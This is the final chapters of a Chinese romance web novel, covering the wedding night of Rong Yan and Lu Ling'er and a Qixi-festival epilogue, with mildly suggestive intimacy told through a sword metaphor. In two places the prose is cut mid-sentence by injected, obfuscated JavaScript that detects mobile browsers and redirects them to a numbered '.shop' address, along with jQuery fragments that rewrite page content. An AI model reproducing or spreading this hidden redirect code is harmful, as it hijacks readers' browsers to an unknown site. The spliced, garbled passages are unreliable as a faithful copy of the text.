“陆铃,今日能与你结为夫妻,我很开心,很开心。” 他自幼见惯了黑暗与冰冷,幸有陆铃儿,如阳光般温暖了他的心,令他心底的冰雪消融,其上开出了最美丽的花。 他不敢想象,若是没有遇见过陆铃儿,他会是什么模样。 上天终究待他不薄,哪怕中间十年也曾痛苦彷徨,但他此生的挚爱,还是回到了他身边。 陆铃儿依偎在他怀里,环手搂住他的腰,听他的心跳一声一声响彻耳畔,低低开口道: “我也很开心,阿砚。” 她从见到容砚的第一眼起,就对他心存好感,老是爱来找他,陪他玩、逗他笑,哪怕什么也不做,就这么看着他,她也会觉得心安。 后来她忘却了前尘,遇上他之后还是会不由自主地被他吸引,经历了这么多,今日与他喜结良缘,她怎能不开心。 两人这么相拥着才没多久,陆铃儿却突然想起一事,她从容砚怀里起身,看向了桌上: “阿砚,我们还没喝酒。” 方才人太多,喜娘是遣走了,合卺酒还没来得及喝。 容砚怀中一空,不由得轻叹一声,这丫头,倒是比他还急。 他轻展笑颜,眼中有一抹亮光悄然划过: “嗯,现在就喝。” 容砚牵起陆铃儿的手,一起在桌边坐下,他斟好杯中酒,将一支酒杯递给陆铃儿,又执起另一支酒杯。 桌上红烛轻晃,彼此的容颜在红烛的照耀下,都染上了一层暖暖的光晕。 陆铃儿举着酒杯,看着容砚的手臂绕过她的,双臂相交,一种说不出的甜蜜在心里蔓延。 两人同时仰头,饮尽杯中美酒。 因是喜酒,入口并不会有浓烈之感,反倒很是香醇,即便陆铃儿不擅饮酒,喝下去也觉得有一种淡淡的甘甜回荡在喉间。 她目光投向容砚,目光交汇中,陆铃儿只觉自己都要被他眼中的柔情所化,脸上红晕又起,也不知是那酒醉人,还是他的眼神更醉人。 双臂双缓缓抽回,两人放下酒杯,陆铃儿红着脸正欲起身,却被容砚一把揽住,一手箍住她的腰,一手抵在她的后脑,深深吻了下去。 今日自入洞房起,他一直很克制,生怕太着急会吓到陆铃儿,但此刻,他不会再忍了。 这个吻显然在陆铃儿的意料之外,她不由得轻哼了一声,只是这闷闷的声音刚一出口,便瞬间吞淹在了唇齿之间。 待陆铃儿适应过来以后,她双手攀上容砚的颈项,贴近他,回应他的亲吻。 容砚感受到陆铃儿的亲近,长眸一暗,又把吻加深了几分。 这一吻,既深情又缠绵,两人唇齿交缠,和着唇间的酒香,迫切品尝着彼此口中的甘甜。 呼吸越来越急,亲吻也越来越深,过了许久两人都舍不得分开,直到陆铃儿感到实在出不上气了,才双手移至容砚肩上,轻轻推了推他。 容砚这才不舍地离开她的唇,手还紧紧箍着她,不愿放开。 两相拥着平复着呼吸,尤其是陆铃儿,靠在容砚怀里顺了好半天的气。 容砚倒是很快便恢复过来,只是他的目光从头到尾都没从陆铃儿脸上移开。 经过刚才那一吻,她的口脂大半已经被他亲掉,剩下的小半也被亲得七零八落,花得不成模样。 然而这番零乱的模样,看在容砚眼里,却为他心中的火焰凭添了一捧油,待陆铃儿刚一缓过气,他的唇又压了下来。 好想就这样,将她拆吃入腹,融入自己的骨血之中,永不分离。 又是一个长长的深吻,许久之后,两人才喘着气分开。 容砚伸手抚上陆铃儿的唇,在她唇间细细描绘,轻轻拭去她散乱的口脂,也纾缓着自己躁动的内心。 早知这一吻会如此动情,就该先行盥漱,如今不上不下,实在是失策。 他深深地呼出口气,放开了陆铃儿。 陆铃儿气还没顺过来,见容砚放开她,迷蒙着杏眼有些不明所以,随后才反应过来,他是让她先去盥漱。 她还带着妆,头饰也还未取,喜服层层叠叠,的确不好直接这样就寝,还是阿砚贴心。 待陆铃儿盥漱出来,容砚早已收拾完毕,坐在桌前等她了。 此时她已卸下了白日的盛妆,容砚也换下了喜服,两人身着里衣,比方才清爽了许多。 随着陆铃儿的走近,容砚的眸越来越暗,随后伸手一把揽过她的腰,将她按在了自己退上。 陆铃儿小脸瞬间羞得通红,可奇怪的是,她明明觉得这坐姿有些羞人,心里却又感到甜蜜不已,手不知不觉又环在了他的颈上。 容砚呼吸不觉一促,平日里清风伴冷泉般的声音,此刻听来已显暗哑: “陆铃,该歇息了。” 说话间,他已在她额间轻轻落下了一吻。 陆铃儿微微颤了颤,心中甜蜜更甚,她将环在他颈项的手搂得更紧,两人四目相对,情意在彼此眼中流淌。 眼前的容砚,容颜俊美无俦,长眸写满深情,尤其眼角那颗朱砂痣,在烛光的映衬下,如同在轻轻跳动,实在是惑人得紧。 陆铃儿便是被他眼角这颗痣所惑,手从他的颈间缓缓向上,轻轻捧起了的脸。 他怎么能这样好看,这样令她心动。 她不由自主的俯身,照着他眼角的朱砂痣吻了下去。 她吻得很轻,如羽毛一般拂过容砚的脸庞,却令容砚瞬间窒住了呼息。 陆铃儿主动亲他,上一次还是在她中了萤心赤火虫的情毒之时,他记得那时,她也是先吻上的这颗朱砂痣。 容砚暗哑着声音,开口问她: “这么喜欢这颗痣?” 陆铃儿却是抵上他的额头,红着小脸轻声答他: “不是喜欢痣,是因为喜欢你,才喜欢了这颗痣。” 陆铃儿当然是喜欢他的容貌的,但她清楚的知道,她更喜欢的,是容砚这个人,不论他是少年落魄的皇子,还是英武飒爽的阁主。 她的这番话,霎时便将容砚心中那团强行压下的火苗再度点燃,他将她箍得更紧,唇狠狠地压上了她的。 这一次,他吻得比先前先前任何一次都要动情,唇齿之间,酒的醇香已经淡去,属于他们彼此特有的甘甜之味却是绵延不绝。 他只感觉到身上的火焰越蹿越高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375737|121347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,唇间攫取着她的甜蜜,手也轻抚着她,放任自身越来越不受控制。 陆铃儿双手扶在容砚肩上,与他细细密密地拥吻着,她感到全身如同着了火一般难受不已,那感觉就像在幻林里中了情毒,只想深深地吻住他,与他贴得近一点,再近一点。 只是奇怪的是,她越是贴近他,越是觉得硌得慌,她试着调整坐姿,却发现只要她一动,容砚便会微微皱眉,似是有些难受,她不慎动得凶了些,他却轻哼一声,伸手按住了她的身形。 待这个缠绵的吻结束,陆铃儿喘着气,侧首寻向容砚腰间,复又疑惑地回过了眼: “阿砚,今日成亲,你还把君影剑带在身上的吗?” 容砚正欲抱她起身,听闻这番话倒是怔了一瞬: “君影剑?” “嗯,方才剑柄硌得我不太舒服。” 陆铃儿眼神还有几许的迷蒙,话却说得格外认真,她很是不解,明明没看到阿砚佩剑,怎会感觉到有剑柄?是他把剑藏起来了吗? 经她这么一说,容砚脸上的红潮一下深了好几度,眼神也是颇有几分无奈。 他们成亲之前,宫中不是已经派下嬷嬷,提前教过她一些事了吗?也不知这丫头是怎么学的。 殊不知,当时的确有嬷嬷前来教导,可陆铃儿一见那些画儿便心跳得厉害,打着马虎眼把嬷嬷应付过去了,根本没有好好学。 容砚摇头一叹,看来,还是得他来教了。 他按住身上燃烧的火焰,声音比之前又暗哑了好几分: “并非是君影剑,君影,别号铃兰,亦即是你,而此剑,是我。” 陆铃儿一听,心中不觉微微一动: “那是什么剑?墨梅剑吗?” 她此前也曾感动于容砚将佩剑取名为君影,如果说君影剑象征着他对她的思念,那现在这把剑又象征着什么,令他成亲都不舍得取下。 容砚并未直接回答,而是眉锋一挑,勾唇问她: “不如,我带你去看看?” “嗯,不过为何不在这里看?” 说话间,容砚已经将陆铃儿拦腰抱起,目光从床前扫过: “那边更方便一些。” 陆铃儿被他这么一抱,只觉得脑子又晕了,不明白为何看剑还得过去看,迷迷乎乎任由他抱着向床前走去。 待得容砚将她抱至床边,她刚一坐好,他便欺身压了下来。 吻铺天盖地落下,她有些难以呼吸,想开口问他剑不看了吗,话音却吞没在了唇齿间。 她不知该如何是好,只能顺着本心回应他、攀紧他,任那吻不断地加深、向下。 只是当襟口散开,她那些小道具又稀里哗啦滑落了下来,容砚顿住身形,讶然抬头问道: “你成亲还带这么多道具?” 方才抱她之时,已觉她比平时轻了不少,以为她将道具收起来了,没想到,她还是带了这么多在身上。 陆铃儿一听这话可不满意了,小嘴一撅: “你不还带着剑嘛?” 她这么多年,早已习惯道具不离身,再说了他也带了剑了,她带道具不也很正常嘛。 见陆铃儿一副我们都一样的表情,容砚不由得咬牙: “好,给你看剑。” 他顺着方才的地方往下,她欠了他那么多的债,从今日起,他会让她一点一点补偿给他。 不久之后,便听得陆铃儿一声惊呼,她终于知道,容砚说的那把代表他的剑是什么了。 她便这样被容砚缠着,学了一整晚的剑术。 容砚这个夫子起初很有耐心,一点一点的教导她,如何接下他的每一招剑式,又怎样与他一起对招。 这一次,陆铃儿不再像之前那般马马虎虎了,有了容砚的亲身示范,她学得很快,不出多时便掌握了其中精髓。 待她一学会,夫子的耐心也耗得差不多了,拉着她恣意地过起招来。 陆铃儿初学剑术,伤痛过后,也慢慢品出练剑的意境来,这一晚,两人都练得十分酣畅,一直练到了天际微微泛起了白光。 容砚看着沉沉睡去的陆铃儿,在她额间印上一吻。 陆铃,今后不论高山水远、岁月漫长,我都会与你共赴。 我爱你,今生今世,生生世世。 86. 番外二 夏日已盛,又是一年七夕。 容砚专程将这一天空出来,陪着陆铃儿又回到了陆家故宅。 去年便是这一天,陆铃儿在这里得知了自己的身世,如今陆家已经平反,她重新获得了此地的归属权。 陆铃儿此前将故宅修葺了一番,现在这里看起来,已和她记忆里的家无甚区别。 虽然没了当年住在这里的家人,她身边却有了相伴一生的爱侣,人的一生,应该往前看,不是吗? 当年家人临死前都不忘留给她生的希望,她也会带着这份希望,好好地活出自己的人生。 陆铃儿感怀着,与容砚在静谧清雅的故宅待了许久,直到日暮时分,才伴着夕阳携手离开。 长宁城北大街因着十年前的变故,在四方大街中最为冷清,而今随着陆家的平反,以及故宅的重建,整个北大街又逐渐恢复了人气。 两人手牵着手走在大街之上,看着街上的人来人往,心中亦是感慨万千。 这一年发生了好多事,他们去成州取回密信、到靖州揭开阴谋,而他们,也最终结下情缘,成为了夫妻。 如今他们新婚不久,正值情浓之时,此番沿着去年的路线再一次过七夕,心境却早已是今非昔比。 去年两人的心里装着事,都感觉有些沉重,这一次,他们满怀欣喜,心中皆是甜蜜。 他们一路顺街而下,很快便来到了一家熟悉的馄饨铺前。 馄饨铺并不算大,食客倒是不少,还不待他们走近,馄饨的香味已经远远飘来,与那“巧婆婆”三字店招一起,成为了北大街沿街口一道特别的风景,也成为了容砚陆铃儿两人心底一抹难忘的回忆。 陆铃儿杏眸一弯,侧首望向容砚,见他也是一脸的笑意。 去年七夕在这里吃馄饨的景象还历历在目,今日故地重游,当然要再吃一次她家的专属馄饨。 两人言笑晏晏,并肩走进了铺子,刚一坐下,老板巧婆婆便笑眯眯地走上前来: “二位看样子是回头客?可是要点专属馄饨?” 别看巧婆婆只是这么一个馄饨铺的老板,看人的眼光却是厉害得紧,去年她便看出了两人之间的情意,今日更是一眼看出,他们并非第一次前来。 陆铃儿眨着弯弯的眼眸,对巧婆婆笑道: “婆婆好眼力,我们正是要点专属馄饨。” “好嘞!一看你们就是专程而来,不是老婆子自夸,但凡吃过我家的馄饨,没有不回头再来的!” 巧婆婆说起自家馄饨,脸上皆是自信。 她的馄饨本就美味,每逢节日还有经她巧思而成的专属馄饨,回头客不在少数,若不是她不愿离开北大街,也不想过于操劳,她这馄饨铺,怕是不比品然斋逊色。 今日的专属馄饨准备充足,不多时,香喷喷的馄饨便端上了桌。 陆铃儿还是如上次一般,选了清汤的这碗,看着容砚端过浓汤瓷碗,她不由得心底一动。 上次她心情有些沉重,没有仔细去想这馄饨专属在哪里,今日这才发觉其巧妙。 她这碗清汤馄饨,汤底为果蔬,还以当季的红布李居多,红布李,布李,那另一碗浓汤馄饨的汤底是…… “阿砚,你这碗馄饨的汤汁,是用什么药材熬的?” 容砚知道陆铃儿已经注意到了汤底的玄机,狭长的瑞凤目蓄着笑,唇角扬起好看的弧度: “白首乌。” “白首、布李,白首不离?” 陆铃儿一阵惊叹,怪不得是专属馄饨,光是这份巧思,便已经值得情侣专程光顾了。 坐于对面的容砚目光紧随于她,轻轻点头应了声: “嗯,白首不离。” 他的声音如清风拂暖了冷泉,不像是在应答,倒更像在对她许下承诺。 陆铃儿顿感心跳又有些加速,红着脸埋首吃起了馄饨。 阿砚他去年就已经知道这专属馄饨的寓意了吧?那个时候,他便想着与自己白首不离了吗? 这么一想,陆铃儿只觉口中的馄饨不止是美味,更带着如蜜糖般暖意,一路甜至心底。 偶尔抬眼之间与容砚四目相接,望进对方的眼中都是满满的情意。 不多时,两人碗里的馄饨都见了底,陆铃儿诧异地眨了眨眼睛,这碗底,还有字? 她侧目看向容砚碗底,果然也有字,只是他的碗底是“白首”二字,而她碗底的字,是“不离”。 上次她到底是有多粗心,碗底这么大的字,她愣是没看到。 她将目光再次移向容砚,只见他眸间闪耀起如辰星般的光芒,执起她的手,一字一句道: “陆铃,倾此一生,我只愿与你同心永系、白首不离。” 陆铃儿的心怦怦跳着,她回握住容砚的手,凝向他的杏眼如碧波一般泛起层层涟漪: “好,我们同心永系、白首不离。” 这世上也唯有阿砚,让她愿意一生相伴,与他一起晓看天色暮看云,共同度过每一天,到老也不会疲倦。 从馄饨铺出来,两人牵着手走出北大街,继续往西大街走去。 西大街向来繁华,此是更是热闹非凡,长长的街道挂满花灯,各色小贩鳞次栉比,街上行人也是熙熙攘攘、络绎不绝。 容砚将陆铃儿护得紧紧的,没让行人挤到她半分。 待两人行至一个面具摊前,陆铃儿停住了。 今日容砚并未让言风等侍卫随行,只有暗卫远远候着,他如今又不像去年那般戴有面具,两人这般容貌,走在人群之中很是扎眼。 先前人少也就罢了,现在人越来越多,他们走到哪里都像这样被人注视着可就不好了。 幸而人们有戴面具游夜市的习俗,不如买两个面具戴上,也显得低调一些。 眼前这摊子上的面具款式多样,正好可以选上两个。 陆铃儿看着摊中“花中四君子”系列中的梅面具与兰面具,一手拿一个问向容砚: “阿砚,你看这个怎么样?” 容砚也正有戴面具之意,这一路上两人引来的目光太多,终究不太安全,陆铃儿选的这两张面具颇合他的心意,戴上正好。 他不禁点头笑道: “夫人选的甚好。” 自成亲以来,他们彼此的称呼并未特意去改变,如今容砚这一声夫人,倒是把陆铃儿整得有些不好意思了。 还好她及时戴上了兰花面具,将脸上红潮藏在了面具之下。 面具隔绝开行人的目光,两人不再如方才那般成为众人眼中的焦点,在夜市中逛起来也惬意了许多。 一路上,两人买了不少小玩意儿,有同心结,还有糖脆梅,这些东西都让他们会心一笑,不约而同地想起了去年今夜。 不久之后,两人来到了曲桥边。 曲桥之下,早已有人放下了河灯,星星点点的花灯,在水波的映衬下倒映出满河流光,一荡一漾漂向远方。 而在曲桥旁边的空地上,更是有不少人放飞了孔明灯,那灯一盏一盏升上天空,与河面的花灯一道,将长宁的夜点缀得绚烂无比。 陆铃儿不禁回想起去年,她刚刚得知身世,在孔明灯上写下为陆家找出真凶、伸冤理枉的心愿,与阿砚一起将灯放入了高高的夜空。 孔明灯对她来说,的确有着特别的意义,师父说孔明灯是承载心愿之灯,这话一点也不假,她去年写于灯上的心愿,天上的神明已经看到了,也助她早早实现了。 她没有辜负父母兄长以及师父的期望,今后也将会带着他们的祝福,好好生活下去。 正想着,容砚已朝她递来了一盏新的孔明灯: “去年的愿望实现了,今年再许一个吧。” 再许一个? 陆铃儿眨着杏眼,一时没想到再许个什么愿望。 之前的心愿已经实现,她很是满足,没有什么想要再麻烦神明的了。 “如果想不到,就当是替去年还愿吧。” “嗯。” 陆铃儿点头,在灯上写下了还愿的祝语,写完之后,容砚却又接过了笔。 “阿砚这次不怕心愿太多,承载不下了?” 陆铃儿面具下方的唇角一弯,现出两个可爱的小梨涡,去年他的话,她可是记着呢。 “去年你心愿迫切,我的当然承载不下,今日却是不同,我就替我们夫妻二人,向神明讨一个好彩头吧。” 说话间,容砚在孔明灯上留下的愿望已显露在陆铃儿眼前,那苍劲有力的字体,写的竟是: 愿容砚与陆铃儿同心永系,白首不离。 “阿砚……” 陆铃儿心中又暖又甜,感动不已。 同心永系,白首不离,这八个字今日一直围绕在他们周围,此时容砚更是将其写在了孔明灯上,让神明给予他们最美好的祝福。 一时之间,她竟有些说不出话来。 容砚知她感动,也不多言,只伸手在她头顶轻轻揉了揉: “来,一起放。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408534|121347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陆铃儿点头应着“好”,一面调整情绪,一面与容砚放飞起孔明灯来。 两人点燃灯内烛火,一起托着灯盏,看着孔明灯渐渐被烛火的热气所充盈,其间的字迹也在烛光的照耀下越来越显眼。 陆铃儿盯着那字看了许久,又透过暖黄的灯光,看向对面戴着面具的容砚,恍忽间,仿佛又回到了去年此时。 容砚的身影,与去年同放孔明灯的阁主融为了一体,一瞬之间,陆铃儿看懂了当时阁主望向她的眼神,它与此刻一样,皆是一片情深似海。 他们彼此深深地看向对方,然后相视一笑,放开了手中灯盏。 只见那孔明灯一离开他们的手,便悠悠飘向高空,载着他们的祝愿,缓缓融入了天际的万千灯盏之中。 灯盏如同漫天星辉,将他们的眼底照亮,他们隔着一盏灯的距离彼此对望,眸间亦如星海,灿烂而多情。 去年孔明灯上的心愿,不到一年便成为了现实,而今年的祝愿,他们则要用彼此的一生,慢慢去实现。 放完孔明灯,两人又手牵着手一起过了曲桥,顺着小道来到了江边。 今年他们不用回解忧阁,也不必使专用花火麻烦艄公,只想在江边坐坐,感受一下江夜的宁静。 夜晚的江边少有人至,江风送来了几许凉爽,两人取下面具靠坐在一块大石头上,一边吃着糖脆梅,一边看城里灯火闪耀。 糖脆梅可是个好东西,每次有不开心的事,吃了它都会好上许多,如今一切皆好,它那酸酸甜甜的口感,令两心都头都甜丝丝的。 当容砚再度拿起纸袋中的糖脆梅时,发现这已是最后一颗了。 他看了一眼空空的纸袋,眼底笑意不减,没有任何犹豫便将这颗糖脆梅送至陆铃儿嘴边。 陆铃儿知道容砚这是在让她,谁叫她平时最爱这些酸甜之物,他当然不会与她抢这些小零嘴。 她灿然一笑,低头从容砚手中含起糖脆梅吞入口中: “谢谢阿砚。” 有了糖脆梅在口里,陆铃儿的声音显得有些闷闷的。 容砚却是紧盯着她的唇,夜色之中,长眸也显出了几分暗色: “可是陆铃,我有些后悔了,不如,我们一起吃。” 陆铃儿愣了愣,一起吃?这要怎么吃? 她正欲开口相问,容砚便的唇便压上了她的。 他轻轻撬开她的唇齿,与她舌尖相抵,继而再往前,掠过她口中那颗酸甜可口的糖脆梅。 也正是在这个时候,一簇烟花陡然划破天际,在夜空中绽放出繁复璀璨的花朵,和着江面的倒影,为容砚与陆铃儿相拥的身形添上一抹最美丽的背景。 两人的吻还在继续,陆铃儿只觉那颗糖脆梅,就在两人的舌尖打转,酸酸甜甜的滋味,却又比寻常甘甜了不少。 烟花朵朵绽放于身后,他们的甜蜜却久久在持续。 许久之后,容砚才将那糖脆梅咬下一小口,缓缓离开了陆铃儿的唇,抵着她的额道: “很甜,很好吃。” 陆铃儿只觉自己的脸在夜色中红得不像样,心里却又觉甜蜜非常。 她轻轻应了一声“嗯”,与容砚紧紧相拥。 当烟花再度绽放,两人相互依偎着,看着眼前绚丽的景象,两人心中有幸福在蔓延。 “阿砚,我们以后还会这样过七夕吗?” 陆铃儿喜欢今日的甜蜜,但也知容砚如今身份已是不同,越是往后,他们越难有机会像今日这般,一起逛夜市过七夕了。 “会的陆铃,我们还会再来的。况且,只要爱着对的人,年年岁岁、朝朝暮暮,与今日又有何分别。” 是的,只要他们还在彼此身边,不论身在何方,在一起的每一日,都将与今日一样甜蜜缱绻。 他们何其有幸,能在茫茫人海中成为对方那个对的人,与之相识相恋,相伴一生。 能拥有这样的伴侣,已胜过世间万万千千。 “嗯,那便如今日之所愿,同心永系,白首不离。” 陆铃儿轻笑,他们的人生,还有很长的路要走,他们两人,也将会彼此相伴,如今日一般度过每一个暮暮朝朝。 “好。” 容砚拥紧陆铃儿,在她额间印上一吻,也在心间再次默念今日的承诺: 同心永系,白首不离。 烟花次第绽放,他们的故事,将会用余生慢慢去书写,而他们的爱恋,将会比这烟花更绚烂,也更长久…… (全文完)